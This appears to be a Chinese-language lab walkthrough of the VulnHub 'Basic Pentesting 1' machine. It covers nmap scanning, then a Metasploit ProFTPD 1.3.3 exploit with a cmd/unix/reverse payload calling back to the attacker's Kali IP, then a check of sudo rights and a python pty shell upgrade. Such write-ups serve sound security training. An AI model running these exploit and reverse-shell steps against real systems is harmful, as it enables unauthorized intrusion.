信息收集:
靶机地址:https://www.vulnhub.com/entry/basic-pentesting-1,216/#download
(1)ip扫描
nmap 192.168.254.0/24 -sn | grep -B 2 '00:0C:29:A3:86:A0'
![](https://img-blog.csdnimg.cn/img_convert/cd75edeed9ef43bf59465a49e599651b.png)
(2)端口扫描
nmap -p- -A 192.168.254.138
![](https://img-blog.csdnimg.cn/img_convert/082e105b02a699bfc82297733ad506d5.png)
getshell:
(1)根据服务版本搜索相关漏洞,在kali输入 msfconsole命令,进入到该框架内
![](https://img-blog.csdnimg.cn/img_convert/77780aa1004afecd82c2b9cc6eec5e12.png)
(2)先看看可以利用的脚本,输入 search proftpd 1.3.3(为什么是proftpd 1.3.3,因为之前探测到是这个版本)
search proftpd 1.3.3
![](https://img-blog.csdnimg.cn/img_convert/cec8a37e47a63c6dc89bf63de5d0b61e.png)
(3)由上图,我们进入利用的脚本,选择用序号2的那一个:use 2;
![](https://img-blog.csdnimg.cn/img_convert/eff2d7c8e4b977b02abcca46da6ab0c0.png)
(4)然后查看要设置的参数(show options)
set payload cmd/unix/reverse
set rhosts 192.168.254.138 #靶机ip
set lhost 192.168.254.129 #kali的ip
run
![](https://img-blog.csdnimg.cn/img_convert/70a3a46c86459c4da59e6e115af94ff5.png)
提权:
(1)查看当前用户拥有的权限:sudo -l,发现当前用户已经是root
![](https://img-blog.csdnimg.cn/img_convert/1c5b15eda0bf81c43e93b72a3a4190af.png)
(2)优化命令执行终端,执行下面命令进入python交互式(注意要下载python环境才能运行)
python3 -c 'import pty;pty.spawn("/bin/bash")'
![](https://img-blog.csdnimg.cn/img_convert/3ec3e32b5550be8a23e995331558fbe9.png)